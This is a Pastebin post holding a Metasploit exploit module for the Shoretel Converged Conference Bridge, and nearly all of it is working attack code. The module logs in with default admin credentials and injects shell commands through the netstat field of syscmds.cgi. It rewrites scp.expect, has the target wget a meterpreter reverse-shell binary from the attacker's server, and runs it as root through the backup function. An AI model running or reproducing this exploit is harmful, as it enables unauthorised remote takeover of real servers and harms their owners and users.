G2A Many GEOs
SHARE
TWEET

hacking shoretel converged conferencing bridge

keith55 Apr 16th, 2011 620 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. # http://metasploit.com/framework/
  6. ##
  7.  
  8.  
  9. require 'msf/core'
  10.  
  11.  
  12. class Metasploit3 < Msf::Exploit::Remote
  13.         include Msf::Exploit::Remote::HttpClient
  14.         include Msf::Exploit::EXE      
  15.         include Msf::Exploit::Remote::HttpServer::HTML 
  16.        
  17.  
  18.         def initialize(info = {})      
  19.                 super(
  20.                         'Name'           => 'Shoretel Converged Conference Bridge Login',
  21.                         'Version'        => '$Revision: 1$',
  22.                         'Description'    => 'Shoretel Converged Conference Bridge Login',
  23.                         'Author'         => 'Josh Brashars @savant42 and Keith Lee @keith55',
  24.                         'License'        =>  MSF_LICENSE,      
  25.                         'Privileged'  => true
  26.                         'Platform'    => [ 'linux' ],
  27.                         'Stance'      => Msf::Exploit::Stance::Aggressive,     
  28.                         'DefaultOptions' =>
  29.                                 {
  30.                                         #'EXITFUNC'          => 'process',
  31.                                         'EXITFUNC'          => 'thread'
  32.                                 },                     
  33.  
  34.                         'Targets'     =>
  35.                                 [
  36.                                         [ 'Automatic', { } ],
  37.  
  38.                                         [ 'Linux Universal',
  39.                                                 {
  40.                                                         'Arch' => ARCH_X86,
  41.                                                         'Platform' => 'linux'
  42.                                                 },
  43.                                         ],
  44.                                 ],
  45.  
  46.                         'DefaultTarget'  => 0                  
  47.                         )
  48.                         register_options(
  49.                         [
  50.                                 Opt::RPORT(8080),
  51.                                 #OptString.new('EXENAME', [ false, 'The Name of payload exe.',"tmp.bin"]),
  52.                                 OptString.new('RHOST', [ false, 'Target Shoretel Converged Conference Bridge',"conference.testdomain.com"]),           
  53.                                 OptString.new('RPORT', [ false, 'Target Shoretel Server Port',"443"]),         
  54.                                 OptString.new('USERNAME', [ false, 'Admin login ID for Shoretel conferencing bridge',"admin"]),        
  55.                                 OptString.new('PASSWORD', [ false, 'Admin passsword for shoretel conferencing bridge',"changeme"]),            
  56.  
  57.                                 OptString.new('PAYLOAD', [false,'The payload to use for Linux reverse-connect payloads','linux/x86/meterpreter/reverse_tcp']),
  58.                                                        
  59.                                 OptBool.new('USECONTENTTYPE', [ true,
  60.                                         'Use Content-type header according to file extension. Many exploits may fail depending on this value',
  61.                                         true
  62.                                 ]),                    
  63.                                 OptString.new('SRVHOST',[true,"The IP address of this server","192.168.160.134"]),
  64.                                 OptPort.new('SRVPORT',   [ true,  "The daemon port to listen on (do not change)", 80 ]),
  65.                                 OptString.new('URIPATH', [ true,  "The URI to use (do not change).", "/" ]),
  66.                                 #OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]),                 
  67.                                 OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ])
  68.                         ], self.class)                         
  69.         end
  70.  
  71.  
  72.         def on_request_uri(cli, request)
  73.  
  74.                 case request.method
  75.                 when 'GET'
  76.                         process_get(cli, request)
  77.                 else
  78.                         print_error("Unexpected request method encountered: #{request.method}")
  79.                         resp = create_response(404, "Not Found")
  80.                         resp.body = ""
  81.                         resp['Content-Type'] = 'text/html'
  82.                         cli.send_response(resp)
  83.                 end
  84.  
  85.         end
  86.  
  87.         def process_get(cli, request)
  88.                 myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  89.  
  90.                 webdav = "\\\\#{myhost}\\"
  91.  
  92.                 if (request.uri =~ /\.bin$/i)
  93.                         datastore['SHELL'] = '/bin/sh'
  94.                         print_status("SHELL set to #{datastore['SHELL']}")             
  95.                         return if ((p = regenerate_payload(cli)) == nil)
  96.                         data = generate_payload_exe({ :code => p.encoded })
  97.                         print_status("Sending payload to #{cli.peerhost}:#{cli.peerport}...")
  98.                         send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  99.                         handler(cli)
  100.                         return
  101.  
  102.                 end
  103.  
  104.                 print_status "Sending 404  to #{cli.peerhost}:#{cli.peerport} ..."
  105.                 resp = create_response(404, "Not Found")
  106.                 resp.body = ""
  107.                 resp['Content-Type'] = 'text/html'
  108.                 cli.send_response(resp)
  109.         end
  110.  
  111.         def exploit
  112.  
  113.                 service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT']
  114.                 print_status("Starting up our web service on #{service_url} ...")
  115.                 start_service({'Uri' => {
  116.                         'Proc' => Proc.new { |cli, req|
  117.                                 on_request_uri(cli, req)
  118.                         },
  119.                         'Path' => resource_uri
  120.                 }})
  121.  
  122.                 post_data = "mode=login&admin_name="+datastore['USERNAME']+"&admin_pwd="+datastore['PASSWORD']+"&ok=Login"
  123.                 print_status("https://#{rhost}:#{rport} - Shoretel Converged Conferencing - Trying username:'"+datastore['USERNAME']+"' with password:'"+datastore['PASSWORD']+"'")
  124.                
  125.                 datastore['rport'] = "443"
  126.  
  127.                 res = send_request_cgi({
  128.                         'uri'      => '/cgi-bin/login.cgi',
  129.                         'data'    => post_data,
  130.                         'method'  => 'POST',
  131.                         'headers' =>
  132.                                 {
  133.                                         'User-Agent' => datastore['UserAgent']
  134.                                 }                      
  135.                 }, 25)
  136.                
  137.  
  138.                
  139.                 if (res and res.body.match(/Invalid admin name/))
  140.                         print_status("http://#{rhost}:#{rport} - Shoretel Converged Conferencing - Failed to login as "+datastore['USERNAME'])                         
  141.                         return
  142.                 else
  143.                         cookies = res.headers['Set-Cookie']
  144.                         if cookies.nil?
  145.                                 raise RuntimeError, 'The server did not set any cookies'
  146.                         end
  147.                                        
  148.                         cookies = cookies.gsub("path=/, ","")
  149.                         cookies = cookies.gsub("path=/","")
  150.                         #cookies = cookies[0,cookies.length-2]
  151.                                        
  152.                         datastore['rport']=80
  153.                         post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("cp /usr/local/apache/cgi-bin/scp.expect /tmp/scp.expect.bck")
  154.                         #print_status(post_data)
  155.                         print_status("Backup existing scp.expect")
  156.                         res = send_request_cgi({
  157.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  158.                                 'data'    => post_data,
  159.                                 'method'  => 'POST',   
  160.                                 'cookie'  => cookies,  
  161.                                 'User-Agent' => datastore['UserAgent']                 
  162.                         }, 25)
  163.                        
  164.                         print_status("Amend scp.expect to execute reverse shell")
  165.                         post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed '3iexec /tmp/tmp.bin' /usr/local/apache/cgi-bin/scp.expect > /tmp/scp1.expect")   
  166.                         #print_status(post_data)
  167.                         res = send_request_cgi({
  168.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  169.                                 'data'    => post_data,
  170.                                 'method'  => 'POST',   
  171.                                 'cookie'  => cookies,                                  
  172.                                 'User-Agent' => datastore['UserAgent']                         
  173.                         }, 20)
  174.  
  175.                         post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed  '3iexec chmod 777 /tmp/tmp.bin' /tmp/scp1.expect > /tmp/scp2.expect")    
  176.                         #print_status(post_data)
  177.                         res = send_request_cgi({
  178.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  179.                                 'data'    => post_data,
  180.                                 'method'  => 'POST',   
  181.                                 'cookie'  => cookies,                                  
  182.                                 'User-Agent' => datastore['UserAgent']                         
  183.                         }, 20)
  184.  
  185.                         post_data = "cmd=netstat&option_a=+-a+%26"+Rex::Text.uri_encode("sed  '4iexec chown root /tmp/tmp.bin' /tmp/scp2.expect > /tmp/scp3.expect & cp /tmp/scp3.expect /usr/local/apache/cgi-bin/scp.expect --reply=yes")    
  186.                         #print_status(post_data)
  187.                         res = send_request_cgi({
  188.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  189.                                 'data'    => post_data,
  190.                                 'method'  => 'POST',   
  191.                                 'cookie'  => cookies,                                  
  192.                                 'User-Agent' => datastore['UserAgent']                         
  193.                         }, 20)
  194.  
  195.                         print_status("Grab meterpreter binary from from our server")
  196.                         post_data = "cmd=netstat&option_a=%26wget http://"+datastore['SRVHOST']+":"+datastore['SRVPORT']+"/tmp.bin -O /tmp/tmp.bin \r\n"
  197.                         #print_status(post_data)
  198.                         res = send_request_cgi({
  199.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  200.                                 'method'  => 'POST',
  201.                                 'data'    => post_data,
  202.                                 'cookie'  => cookies,
  203.                         }, 20)
  204.                        
  205.                         Rex::ThreadSafe.sleep(8)
  206.  
  207.                         print_status("Changing permissions of binary")
  208.                         post_data = "cmd=netstat&option_a=%26chmod 777 /tmp/tmp.bin \r\n"
  209.                         #print_status(post_data)
  210.                         res = send_request_cgi({
  211.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  212.                                 'method'  => 'POST',
  213.                                 'data'    => post_data,
  214.                                 'cookie'  => cookies,  
  215.                         }, 20)
  216.  
  217.  
  218.                         print_status("Changing ownership of binary")
  219.                         post_data = "cmd=netstat&option_a=%26swhoami > /tmp/out.txt \r\n"
  220.                         #print_status(post_data)
  221.                         res = send_request_cgi({
  222.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  223.                                 'method'  => 'POST',
  224.                                 'data'    => post_data,
  225.                                 'cookie'  => cookies,
  226.                         }, 20)
  227.  
  228.  
  229.                        
  230.                         print_status("Executing binary for reverse shell")
  231.                         post_data1='action=commit&backup_ind=on&backup_hostname=127.0.0.1&backup_directory=/tmp&backup_user=root&backup_password=metatel&backup_mode=scp&database=database&sessions=sessions&cert=cert&chunksize=128&upload_data=Save'
  232.                         res = send_request_cgi({
  233.                                 'uri'     => '/cgi-bin/save_box_data.cgi',
  234.                                 'method'  => 'POST',
  235.                                 'data'    => post_data1,
  236.                                 'cookie'  => cookies,
  237.                         }, 20)
  238.  
  239.  
  240.                         Rex::ThreadSafe.sleep(5)
  241.                        
  242.                         #Execute Backup
  243.                                
  244.                         print_status("Restore original scp.expect")
  245.                         post_data1 = "cmd=netstat&option_a=+-a+%26cp /tmp/scp.expect.bck /usr/local/apache/cgi-bin/scp.expect"
  246.                         res = send_request_cgi({
  247.                                 'uri'     => '/cgi-bin/syscmds.cgi',
  248.                                 'method'  => 'POST',
  249.                                 'data'    => post_data1,
  250.                                 'cookie'  => cookies,
  251.                         }, 20)
  252.                        
  253.                        
  254.                         return
  255.                 end
  256.  
  257.                 rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  258.                 rescue ::Timeout::Error, ::Errno::EPIPE
  259.  
  260.         end
  261. end
RAW Paste Data
Ledger Nano X - The secure hardware wallet
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top